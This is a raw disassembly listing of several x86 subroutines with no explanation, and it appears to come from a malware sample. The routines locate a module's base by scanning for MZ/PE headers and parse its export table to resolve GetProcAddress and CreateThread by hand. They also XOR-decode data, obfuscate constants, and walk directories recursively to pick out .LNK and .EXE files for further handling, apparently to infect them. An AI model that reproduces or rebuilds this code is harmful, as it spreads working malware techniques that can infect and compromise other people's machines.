or eax, 0FFFFFFFFh
loc_43DE4F: ; CODE XREF: sub_43DE22+32j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43DE4F
mov [ebp+var_C], eax
mov eax, dword_54F1AC
sub eax, 2
mov [ebp+var_4], eax
jmp short loc_43DEB3
; ---------------------------------------------------------------------------
loc_43DE66: ; CODE XREF: sub_43DE22+97j
mov ebx, dword_54F130
dec ebx
mov eax, dword_54F0B0
mov edi, eax
add edi, dword_54F17C
sub edi, 0Ch
jmp short loc_43DEAC
; ---------------------------------------------------------------------------
loc_43DE7F: ; CODE XREF: sub_43DE22+8Cj
mov eax, [ebp+var_4]
add eax, edi
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+edi]
cmp eax, edx
jnz short loc_43DEB0
inc ebx
cmp ebx, esi
jnz short loc_43DEAB
inc [ebp+var_8]
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jnz short loc_43DEAB
mov eax, [ebp+var_4]
jmp short loc_43DEC0
; ---------------------------------------------------------------------------
loc_43DEAB: ; CODE XREF: sub_43DE22+77j
; sub_43DE22+82j
inc edi
loc_43DEAC: ; CODE XREF: sub_43DE22+5Bj
cmp edi, esi
jb short loc_43DE7F
loc_43DEB0: ; CODE XREF: sub_43DE22+72j
inc [ebp+var_4]
loc_43DEB3: ; CODE XREF: sub_43DE22+42j
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb short loc_43DE66
mov eax, 0FFFFh
loc_43DEC0: ; CODE XREF: sub_43DE22+87j
pop edi
pop esi
pop ebx
leave
retn
sub_43DE22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DEC5 proc near ; CODE XREF: sub_440B82+294p
; sub_441F06+15p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_54F250, 0
jnz short loc_43DEED
push offset dword_54E050
call ds:dword_447FCC
mov dword_54F250, 1
loc_43DEED: ; CODE XREF: sub_43DEC5+11j
mov esi, dword_54F12C
add esi, dword_54F1E0
sub esi, 6
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+2]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
mov edx, dword_54F1C0
inc edx
imul ebx, edx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_54F1FC
add edx, 5
add edx, dword_54F130
cmp eax, edx
jz loc_43DFB9
push offset dword_54E050
call ds:dword_54C95C
mov eax, dword_54F134
add eax, 4
mov [ebp+var_2], ax
jmp short loc_43DF74
; ---------------------------------------------------------------------------
loc_43DF52: ; CODE XREF: sub_43DEC5+B9j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+4]
xor edx, ecx
mov [eax], dl
movzx eax, [ebp+var_2]
mov edx, dword_54F114
inc edx
add eax, edx
mov [ebp+var_2], ax
loc_43DF74: ; CODE XREF: sub_43DEC5+8Bj
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43DF52
mov eax, dword_54F114
dec eax
mov edx, dword_54F1F4
add edx, dword_54F22C
sub edx, 10h
mov [edi+eax], dl
movsx eax, word_54F144
sub eax, 2
mov edx, dword_54F178
sub edx, 9
mov [edi+eax], dl
push offset dword_54E050
call ds:dword_4CB940
loc_43DFB9: ; CODE XREF: sub_43DEC5+6Ej
lea eax, [edi+6]
pop edi
pop esi
pop ebx
leave
retn
sub_43DEC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DFC1 proc near ; CODE XREF: sub_43B76D+218p
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_281 = byte ptr -281h
var_267 = byte ptr -267h
var_252 = byte ptr -252h
var_245 = byte ptr -245h
var_230 = dword ptr -230h
var_22A = byte ptr -22Ah
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = byte ptr -220h
var_21F = byte ptr -21Fh
var_215 = byte ptr -215h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_103 = byte ptr -103h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_FE = byte ptr -0FEh
var_FD = byte ptr -0FDh
var_FC = byte ptr -0FCh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
movsx esi, word_54F138
movsx edx, word_54F0FC
lea ecx, [esi+edx+0Bh]
shr edi, cl
movsx esi, word_54F0C4
mov edx, dword_54F1EC
lea esi, [esi+edx+7]
mov ecx, esi
mov ebx, edi
shl ebx, cl
loc_43DFFB: ; CODE XREF: sub_43DFC1+55j
; sub_43DFC1+9Bj ...
mov [ebp+var_114], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_43E018
mov eax, dword_54F154
add eax, 0FFF8h
sub ebx, eax
jmp short loc_43DFFB
; ---------------------------------------------------------------------------
loc_43E018: ; CODE XREF: sub_43DFC1+47j
mov eax, dword_54F0F0
add eax, 33h
movsx edx, word_54F0D0
add eax, edx
mov edx, ebx
add edx, eax
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_118], edx
mov eax, [ebp+arg_0]
cmp edx, eax
jbe short loc_43E05E
movsx eax, word_54F198
mov edx, dword_54F19C
lea eax, [eax+edx+0FFFBh]
sub ebx, eax
jmp short loc_43DFFB
; ---------------------------------------------------------------------------
loc_43E05E: ; CODE XREF: sub_43DFC1+83j
mov eax, [ebp+var_118]
mov [ebp+var_11C], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_43E085
mov eax, dword_54F214
add eax, 0FFFDh
sub ebx, eax
jmp loc_43DFFB
; ---------------------------------------------------------------------------
loc_43E085: ; CODE XREF: sub_43DFC1+B1j
mov eax, [ebp+var_11C]
mov eax, [eax+78h]
mov [ebp+var_120], eax
mov ecx, ebx
add ecx, eax
mov [ebp+var_110], ecx
mov eax, ecx
mov edx, ebx
add edx, [eax+0Ch]
push edx
lea eax, [ebp+var_103]
push eax
call sub_4455D4
mov eax, dword_54F1F8
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_43E0E1
; ---------------------------------------------------------------------------
loc_43E0BF: ; CODE XREF: sub_43DFC1+13Fj
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_103]
cmp al, 61h
jle short loc_43E0DE
cmp al, 7Ah
jge short loc_43E0DE
mov eax, [ebp+var_4]
lea eax, [ebp+eax+var_103]
sub byte ptr [eax], 20h
loc_43E0DE: ; CODE XREF: sub_43DFC1+10Aj
; sub_43DFC1+10Ej
inc [ebp+var_4]
loc_43E0E1: ; CODE XREF: sub_43DFC1+FCj
mov eax, [ebp+var_4]
movsx eax, [ebp+eax+var_103]
mov edx, dword_54F108
movsx ecx, word_54F0CC
add edx, ecx
sub edx, 9
cmp eax, edx
jnz short loc_43E0BF
cmp [ebp+var_101], 52h
jz short loc_43E13C
cmp [ebp+var_FD], 33h
jz short loc_43E13C
cmp [ebp+var_102], 45h
jz short loc_43E13C
cmp [ebp+var_FE], 4Ch
jz short loc_43E13C
cmp [ebp+var_103], 4Bh
jz short loc_43E13C
cmp [ebp+var_FC], 32h
jnz loc_43E35F
loc_43E13C: ; CODE XREF: sub_43DFC1+148j
; sub_43DFC1+151j ...
mov eax, dword_54F158
sub eax, 3
mov [ebp+var_108], eax
jmp loc_43E34A
; ---------------------------------------------------------------------------
loc_43E14F: ; CODE XREF: sub_43DFC1+398j
mov eax, [ebp+var_108]
mov ecx, dword_54F168
add ecx, 2
mul ecx
mov [ebp+var_228], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+20h]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_224], edx
push edx
lea eax, [ebp+var_21F]
push eax
call sub_4455D4
mov eax, dword_54F1E0
cmp [ebp+eax+var_220], 50h
jnz loc_43E344
mov eax, dword_54F160
cmp byte ptr [ebp+eax+var_224], 74h
jnz loc_43E344
mov eax, dword_54F24C
mov edx, eax
add edx, eax
cmp [ebp+edx+var_22A], 41h
jnz loc_43E344
mov eax, dword_54F19C
add eax, dword_54F0B0
cmp byte ptr [ebp+eax+var_228], 47h
jnz loc_43E344
movsx eax, word_54F0FC
add eax, dword_54F1D8
cmp [ebp+eax+var_21F], 63h
jnz loc_43E344
movsx eax, word_54F218
cmp [ebp+eax+var_215], 72h
jnz loc_43E344
mov eax, [ebp+var_108]
mov ecx, dword_54F214
movsx esi, word_54F0B4
add ecx, esi
sub ecx, 6
mul ecx
mov [ebp+var_288], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+24h]
mov [ebp+var_114], edx
movzx eax, word ptr [edx]
mov [ebp-22Ch], eax
mov ecx, dword_54F12C
sub ecx, 4
mul ecx
mov [ebp+var_28C], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+1Ch]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_230], edx
lea edi, [ebp+var_245]
lea esi, aLeavecriticals ; "LeaveCriticalSection"
mov ecx, 15h
rep movsb
lea edi, [ebp+var_252]
lea esi, aCreatethread ; "CreateThread"
mov ecx, 0Dh
rep movsb
mov dword_54F254, ebx
mov eax, [ebp+var_230]
mov ds:dword_4491AC, eax
lea edi, [ebp+var_267]
lea esi, aEntercriticals ; "EnterCriticalSection"
mov ecx, 15h
rep movsb
lea edi, [ebp+var_281]
lea esi, aInitializecrit ; "InitializeCriticalSection"
mov ecx, 0Dh
rep movsw
lea eax, [ebp+var_245]
push eax
push dword_54F254
call ds:dword_4491AC
mov ds:dword_4CB940, eax
lea eax, [ebp+var_281]
push eax
push dword_54F254
call ds:dword_4491AC
mov ds:dword_447FCC, eax
lea eax, [ebp+var_252]
push eax
push dword_54F254
call ds:dword_4491AC
mov ds:dword_54DF20, eax
lea eax, [ebp+var_267]
push eax
push dword_54F254
call ds:dword_4491AC
mov ds:dword_54C95C, eax
jmp short loc_43E35F
; ---------------------------------------------------------------------------
loc_43E344: ; CODE XREF: sub_43DFC1+1DEj
; sub_43DFC1+1F1j ...
inc [ebp+var_108]
loc_43E34A: ; CODE XREF: sub_43DFC1+189j
mov eax, [ebp+var_110]
mov eax, [eax+18h]
cmp [ebp+var_108], eax
jb loc_43E14F
loc_43E35F: ; CODE XREF: sub_43DFC1+175j
; sub_43DFC1+381j
pop edi
pop esi
pop ebx
leave
retn
sub_43DFC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E364 proc near ; CODE XREF: sub_444839+211p
var_30037 = byte ptr -30037h
var_20038 = dword ptr -20038h
var_20034 = dword ptr -20034h
var_20030 = dword ptr -20030h
var_2002C = dword ptr -2002Ch
var_20028 = dword ptr -20028h
var_20024 = dword ptr -20024h
var_20020 = byte ptr -20020h
var_2001C = dword ptr -2001Ch
var_20018 = dword ptr -20018h
var_20014 = dword ptr -20014h
var_20010 = dword ptr -20010h
var_2000C = dword ptr -2000Ch
var_20008 = dword ptr -20008h
var_20004 = dword ptr -20004h
var_1FFFE = byte ptr -1FFFEh
var_1FFFD = byte ptr -1FFFDh
var_1FFFB = byte ptr -1FFFBh
var_1FFFA = byte ptr -1FFFAh
var_10004 = byte ptr -10004h
var_10002 = byte ptr -10002h
var_FFFF = byte ptr -0FFFFh
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
mov eax, 30038h
call sub_4455B4
push ebx
push esi
push edi
lea eax, [ebp+var_20018]
push eax
mov eax, dword_54F14C
add eax, dword_54F110
sub eax, 0Bh
push eax
lea eax, [ebp+arg_14]
push eax
lea eax, [ebp+arg_4]
push eax
mov eax, dword_54F11C
sub eax, 2
push eax
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr [ebx+54h]
mov edi, eax
mov eax, dword_54F1DC
add eax, dword_54F1D4
sub eax, 8
cmp edi, eax
jnz loc_43E775
loc_43E3BC: ; CODE XREF: sub_43E364+3F0j
mov eax, dword_54F0B8
add eax, dword_54F1FC
sub eax, 4
push eax
lea eax, [ebp+var_20024]
push eax
movsx eax, word_54F1F0
sub eax, 5
push eax
mov eax, [ebp+var_20018]
push eax
mov ebx, [eax]
call dword ptr [ebx+0Ch]
mov edi, eax
movsx eax, word_54F208
movsx edx, word_54F0C4
add eax, edx
sub eax, 7
cmp edi, eax
jnz loc_43E759
mov esi, dword_54F110
sub esi, 9
lea eax, [ebp+var_1FFFE]
push eax
push [ebp+var_20024]
call sub_43BBFE
add esp, 8
and [ebp+var_20004], 0
mov eax, dword_54F24C
add eax, dword_54F160
sub eax, 10h
mov [ebp+var_20028], eax
mov [ebp+var_20014], 10h
movsx eax, word_54F0CC
add eax, dword_54F174
sub eax, 8
mov [ebp+var_20008], eax
movsx eax, word_54F1A8
mov [ebp+var_2000C], eax
mov [ebp+var_20010], 2
mov eax, dword_54F0C0
add eax, dword_54F23C
sub eax, 2
push eax
lea eax, [ebp+var_20014]
push eax
lea eax, [ebp+var_20004]
push eax
lea eax, [ebp+var_20028]
push eax
push [ebp+var_20024]
lea eax, [ebp+arg_14]
push eax
lea eax, [ebp+arg_4]
push eax
mov eax, dword_54F0C8
add eax, dword_54F150
sub eax, 5
push eax
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr [ebx+44h]
mov edi, eax
mov eax, dword_54F0D8
movsx edx, word_54F0CC
add eax, edx
sub eax, 7
cmp edi, eax
jnz loc_43E5FA
movsx eax, word_54F1C4
mov esi, eax
add esi, dword_54F184
sub esi, 0Bh
cmp [ebp+var_1FFFE], 44h
jnz short loc_43E4FF
cmp [ebp+var_1FFFD], 50h
jz short loc_43E504
loc_43E4FF: ; CODE XREF: sub_43E364+190j
jmp loc_43E5FA
; ---------------------------------------------------------------------------
loc_43E504: ; CODE XREF: sub_43E364+199j
cmp [ebp+var_1FFFB], 50h
jnz short loc_43E516
cmp [ebp+var_1FFFA], 49h
jz short loc_43E51B
loc_43E516: ; CODE XREF: sub_43E364+1A7j
jmp loc_43E5FA
; ---------------------------------------------------------------------------
loc_43E51B: ; CODE XREF: sub_43E364+1B0j
mov eax, [ebp+var_20004]
mov [ebp+var_2002C], eax
mov eax, [ebp+var_20028]
mov [ebp+var_20030], eax
lea eax, [ebp+var_20020]
push eax
mov eax, dword_54F1F4
mov edx, eax
add edx, dword_54F184
sub edx, 0Dh
push edx
mov edx, dword_54F14C
sub edx, 2
push edx
mov edx, dword_54F10C
add edx, eax
mov eax, edx
sub eax, 0Bh
push eax
movsx eax, word_54F210
add eax, dword_54F1F8
sub eax, 8
push eax
mov eax, dword_54F0EC
dec eax
push eax
lea eax, [ebp+var_20030]
push eax
call ds:dword_446028
mov [ebp+var_20034], eax
mov ecx, dword_54F0E4
add ecx, dword_54F188
sub ecx, 0Ah
cmp eax, ecx
jnz short loc_43E5B8
movsx eax, word_54F0FC
movsx edx, word_54F09C
mov esi, eax
add esi, edx
sub esi, 8
jmp short loc_43E5FA
; ---------------------------------------------------------------------------
loc_43E5B8: ; CODE XREF: sub_43E364+23Bj
movsx eax, word_54F104
mov esi, eax
add esi, dword_54F20C
sub esi, 2
lea eax, [ebp+var_30037]
push eax
push [ebp+var_2001C]
call sub_43BBFE
add esp, 8
movsx eax, word_54F218
cmp [ebp+var_2001C], eax
jz short loc_43E5FA
push [ebp+var_2001C]
call ds:dword_4495CC
loc_43E5FA: ; CODE XREF: sub_43E364+171j
; sub_43E364:loc_43E4FFj ...
mov eax, dword_54F0D4
mov edx, dword_54F130
add edx, dword_54F1A0
sub edx, 9
mov [ebp+eax+var_10002], dl
mov [ebp+eax+var_10004], 50h
mov eax, dword_54F248
mov [ebp+eax+var_10002], 7Ch
push [ebp+arg_24]
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44602C
push offset dword_54FE98
call sub_43AAF7
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44602C
push offset byte_54FE7B
call sub_43AAF7
mov ebx, dword_54F24C
sub ebx, 8
push ebx
push eax
push [ebp+arg_24]
call sub_43DE22
add esp, 24h
movsx edx, word_54F1F0
add edx, 0FFF9h
cmp eax, edx
jz short loc_43E69B
lea eax, [ebp+var_1FFFE]
push eax
lea eax, [ebp+var_FFFF]
push eax
call sub_43F81A
add esp, 8
jmp short loc_43E6CA
; ---------------------------------------------------------------------------
loc_43E69B: ; CODE XREF: sub_43E364+31Dj
lea eax, [ebp+var_1FFFE]
push eax
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44602C
push offset word_54FE76
call sub_43AAF7
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44602C
add esp, 14h
loc_43E6CA: ; CODE XREF: sub_43E364+335j
mov eax, dword_54F1D0
add eax, dword_54F1F4
sub eax, 0Fh
cmp esi, eax
jnz short loc_43E6EA
mov eax, [ebp+var_20004]
mov [ebp+var_20038], eax
jmp short loc_43E6F6
; ---------------------------------------------------------------------------
loc_43E6EA: ; CODE XREF: sub_43E364+376j
lea eax, [ebp+var_30037]
mov [ebp+var_20038], eax
loc_43E6F6: ; CODE XREF: sub_43E364+384j
push [ebp+var_20038]
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_44602C
push offset byte_54FE71
call sub_43AAF7
push eax
lea ebx, [ebp+var_FFFF]
push ebx
call ds:dword_44602C
add esp, 14h
mov eax, dword_54F22C
add eax, dword_54F0B0
sub eax, 0Ch
cmp [ebp+var_20004], eax
jz short loc_43E746
push [ebp+var_20004]
call ds:dword_48A1EC
loc_43E746: ; CODE XREF: sub_43E364+3D4j
lea eax, [ebp+var_FFFF]
push eax
call ds:dword_48A1E0
pop ecx
jmp loc_43E3BC
; ---------------------------------------------------------------------------
loc_43E759: ; CODE XREF: sub_43E364+9Cj
movsx eax, word_54F0CC
dec eax
cmp [ebp+var_20018], eax
jz short loc_43E775
mov eax, [ebp+var_20018]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43E775: ; CODE XREF: sub_43E364+52j
; sub_43E364+403j
pop edi
pop esi
pop ebx
leave
retn
sub_43E364 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E77A proc near ; CODE XREF: sub_43BE1F+3Ep
; sub_43E77A+21Fp ...
var_259 = byte ptr -259h
var_258 = byte ptr -258h
var_257 = byte ptr -257h
var_256 = byte ptr -256h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp [ebp+arg_8], 0
jz short loc_43E7A8
mov eax, dword_54F15C
add eax, dword_54F130
sub eax, 5
mov [ebp+var_248], eax
jmp loc_43E82E
; ---------------------------------------------------------------------------
loc_43E7A8: ; CODE XREF: sub_43E77A+13j
mov edx, [ebp+arg_4]
movsx ecx, word_54F0F8
sub ecx, 5
cmp ds:dword_4495E0[edx*4], ecx
jnz short loc_43E7DA
push esi
call ds:dword_4495BC
mov eax, dword_54F1EC
add eax, dword_54F134
sub eax, 4
push eax
call ds:dword_54C960
loc_43E7DA: ; CODE XREF: sub_43E77A+42j
mov eax, dword_54F10C
add eax, 62h
mov [ebp+var_248], eax
push offset byte_54FE69
call sub_43AAF7
push [ebp+arg_4]
push eax
lea edx, [ebp+var_256]
push edx
call ds:dword_50C928
add esp, 10h
lea eax, [ebp+var_256]
push eax
call ds:dword_54C964
cmp eax, 3
jnz short loc_43E82E
mov eax, dword_54F0D8
add eax, 122h
add eax, dword_54F1D8
mov [ebp+var_248], eax
loc_43E82E: ; CODE XREF: sub_43E77A+29j
; sub_43E77A+9Cj
xor edi, edi
inc edi
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43E836: ; CODE XREF: sub_43E77A+C1j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43E836
mov [ebp+var_24C], eax
push offset word_54FE62
call sub_43AAF7
add esp, 4
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50C928
add esp, 0Ch
mov eax, [ebp+var_24C]
movsx edx, word_54F240
add edx, dword_54F11C
sub edx, 5
sub eax, edx
cmp byte ptr [ebx+eax], 2Eh
jnz loc_43E92F
mov eax, [ebp+var_24C]
sub eax, 4
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44603C
add esp, 4
mov edx, eax
mov [ebp+var_257], dl
mov eax, [ebp+var_24C]
sub eax, 2
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44603C
add esp, 4
mov edx, eax
mov [ebp+var_258], dl
mov eax, [ebp+var_24C]
sub eax, 3
movsx eax, byte ptr [ebx+eax]
push eax
call ds:dword_44603C
add esp, 4
mov edx, eax
mov [ebp+var_259], dl
cmp [ebp+var_257], 4Ch
jnz short loc_43E905
cmp [ebp+var_259], 4Eh
jnz short loc_43E905
cmp [ebp+var_258], 4Bh
jnz short loc_43E905
push ebx
call sub_43ADF1
add esp, 4
loc_43E905: ; CODE XREF: sub_43E77A+16Ej
; sub_43E77A+177j ...
cmp [ebp+var_257], 45h
jnz short loc_43E92F
cmp [ebp+var_259], 58h
jnz short loc_43E92F
cmp [ebp+var_258], 45h
jnz short loc_43E92F
push [ebp+var_248]
push ebx
call sub_43ABE6
add esp, 8
loc_43E92F: ; CODE XREF: sub_43E77A+104j
; sub_43E77A+192j ...
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CA228
mov esi, eax
movsx eax, word_54F1A8
add eax, dword_54F20C
sub eax, 3
neg eax
cmp esi, eax
jz loc_43EA16
cmp [ebp+var_112], 2Eh
jz loc_43EA12
push offset byte_54FE59
call sub_43AAF7
lea edx, [ebp+var_112]
push edx
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50C928
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_43E77A
add esp, 20h
jmp short loc_43EA12
; ---------------------------------------------------------------------------
loc_43E9A3: ; CODE XREF: sub_43E77A+29Aj
lea eax, [ebp+var_13E]
push eax
push esi
call ds:dword_447FC8
mov edi, eax
or edi, edi
jnz short loc_43E9D4
mov eax, [ebp+var_248]
add eax, ds:dword_50C92C
push eax
call ds:dword_50C924
pop ecx
push esi
call ds:dword_4495BC
jmp short loc_43EA16
; ---------------------------------------------------------------------------
loc_43E9D4: ; CODE XREF: sub_43E77A+23Bj
cmp [ebp+var_112], 2Eh
jz short loc_43EA12
push offset dword_54FE50
call sub_43AAF7
lea edx, [ebp+var_112]
push edx
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50C928
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_43E77A
add esp, 20h
loc_43EA12: ; CODE XREF: sub_43E77A+1ECj
; sub_43E77A+227j ...
or edi, edi
jnz short loc_43E9A3
loc_43EA16: ; CODE XREF: sub_43E77A+1DFj
; sub_43E77A+258j
pop edi
pop esi
pop ebx
leave
retn
sub_43E77A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EA1B proc near ; CODE XREF: sub_4394E9+3Ap
var_10034 = dword ptr -10034h
var_10030 = byte ptr -10030h
var_1002C = dword ptr -1002Ch
var_10028 = dword ptr -10028h
var_10024 = dword ptr -10024h
var_10020 = byte ptr -10020h
var_10018 = dword ptr -10018h
var_10010 = dword ptr -10010h
var_1000C = dword ptr -1000Ch
var_10008 = dword ptr -10008h
var_10004 = dword ptr -10004h
var_FFFF = byte ptr -0FFFFh
var_FFFE = byte ptr -0FFFEh
var_FFFD = byte ptr -0FFFDh
var_FFFC = byte ptr -0FFFCh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10034h
call sub_4455B4
push ebx
push esi
push edi
mov eax, dword_54F220
add eax, dword_54F100
sub eax, 0Bh
cmp dword_54F2C4, eax
jnz short loc_43EA55
mov eax, dword_54F0EC
add eax, 9
cmp ds:dword_4495D0, eax
jb loc_43ECCD
loc_43EA55: ; CODE XREF: sub_43EA1B+24j
lea eax, [ebp+var_10020]
push eax
call ds:dword_446048
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_10020]
push eax
push 9
movsx eax, word_54F104
add eax, dword_54F1EC
sub eax, 3
push eax
push [ebp+arg_0]
call ds:dword_4CA224
mov edi, eax
mov eax, dword_54F1D0
movsx edx, word_54F148
add eax, edx
sub eax, 8
cmp edi, eax
jnz loc_43ECCD
mov esi, [ebp+var_10018]
mov eax, dword_54F1B4
sub eax, 4
mov [ebp+var_10008], eax
lea eax, [ebp+var_10008]
push eax
push offset dword_550AA8
push esi
mov edx, [esi]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, dword_54F20C
sub eax, 4
cmp edi, eax
jnz loc_43ECCD
lea eax, [ebp+var_10024]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+78h]
mov edi, eax
mov eax, dword_54F1BC
movsx edx, word_54F190
add eax, edx
sub eax, 0Eh
cmp edi, eax
jnz loc_43ECC7
lea eax, [ebp+var_FFFF]
push eax
push [ebp+var_10024]
call sub_43BBFE
add esp, 8
mov edx, eax
inc edx
mov [ebp+var_10034], edx
push [ebp+var_10024]
call ds:dword_54DF34
cmp [ebp+var_FFFF], 68h
jnz short loc_43EB5F
cmp [ebp+var_FFFE], 74h
jnz short loc_43EB5F
cmp [ebp+var_FFFD], 74h
jnz short loc_43EB5F
cmp [ebp+var_FFFC], 70h
jz short loc_43EB64
loc_43EB5F: ; CODE XREF: sub_43EA1B+127j
; sub_43EA1B+130j ...
jmp loc_43ECC7
; ---------------------------------------------------------------------------
loc_43EB64: ; CODE XREF: sub_43EA1B+142j
lea eax, [ebp+var_10010]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+48h]
mov edi, eax
mov eax, dword_54F1DC
add eax, dword_54F234
sub eax, 8
cmp edi, eax
jnz loc_43ECC7
lea eax, [ebp+var_10004]
push eax
push offset dword_550A28
mov eax, [ebp+var_10010]
push eax
mov edx, [eax]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, dword_54F0A4
sub eax, 7
cmp edi, eax
jnz loc_43ECBB
lea eax, [ebp+var_1000C]
push eax
mov eax, [ebp+var_10004]
push eax
mov edx, [eax]
call dword ptr [edx+1B0h]
mov edi, eax
mov eax, dword_54F124
add eax, dword_54F22C
sub eax, 9
cmp edi, eax
jnz loc_43ECAF
lea eax, [ebp+var_10028]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+70h]
mov edi, eax
mov eax, dword_54F0C0
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 4
cmp edi, eax
jz short loc_43EC23
mov eax, [ebp+var_1000C]
push eax
mov eax, [eax]
call dword ptr [eax+8]
jmp loc_43ECAF
; ---------------------------------------------------------------------------
loc_43EC23: ; CODE XREF: sub_43EA1B+1F5j
xor ebx, ebx
mov eax, [ebp+var_10028]
cmp [ebp+var_1000C], eax
jz short loc_43EC36
xor ebx, ebx
inc ebx
loc_43EC36: ; CODE XREF: sub_43EA1B+216j
mov eax, [ebp+var_1000C]
push eax
mov eax, [eax]
call dword ptr [eax+8]
mov eax, [ebp+var_10028]
push eax
mov eax, [eax]
call dword ptr [eax+8]
or ebx, ebx
jnz short loc_43ECAF
lea eax, [ebp+var_1002C]
push eax
mov eax, [ebp+var_10004]
push eax
mov edx, [eax]
call dword ptr [edx+20h]
mov edi, eax
mov eax, dword_54F12C
movsx edx, word_54F198
add eax, edx
sub eax, 9
cmp edi, eax
jnz short loc_43ECAF
lea eax, [ebp+var_FFFF]
push eax
push [ebp+var_10008]
push [ebp+var_1002C]
push [ebp+var_10004]
call sub_4404CE
push [ebp+var_1002C]
push [ebp+var_10004]
push esi
call sub_44526D
add esp, 1Ch
loc_43ECAF: ; CODE XREF: sub_43EA1B+1CAj
; sub_43EA1B+203j ...
mov eax, [ebp+var_10004]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_43ECBB: ; CODE XREF: sub_43EA1B+19Cj
mov eax, [ebp+var_10010]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_43ECC7: ; CODE XREF: sub_43EA1B+F0j
; sub_43EA1B:loc_43EB5Fj ...
push esi
mov eax, [esi]
call dword ptr [eax+8]
loc_43ECCD: ; CODE XREF: sub_43EA1B+34j
; sub_43EA1B+86j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43EA1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ECD2 proc near ; CODE XREF: sub_444ED7+2E0p
var_68 = dword ptr -68h
var_40 = byte ptr -40h
var_3C = dword ptr -3Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
call ds:dword_4899F4
mov ebx, eax
call sub_44122A
or eax, eax
jnz short loc_43ECFA
mov edi, dword_54F234
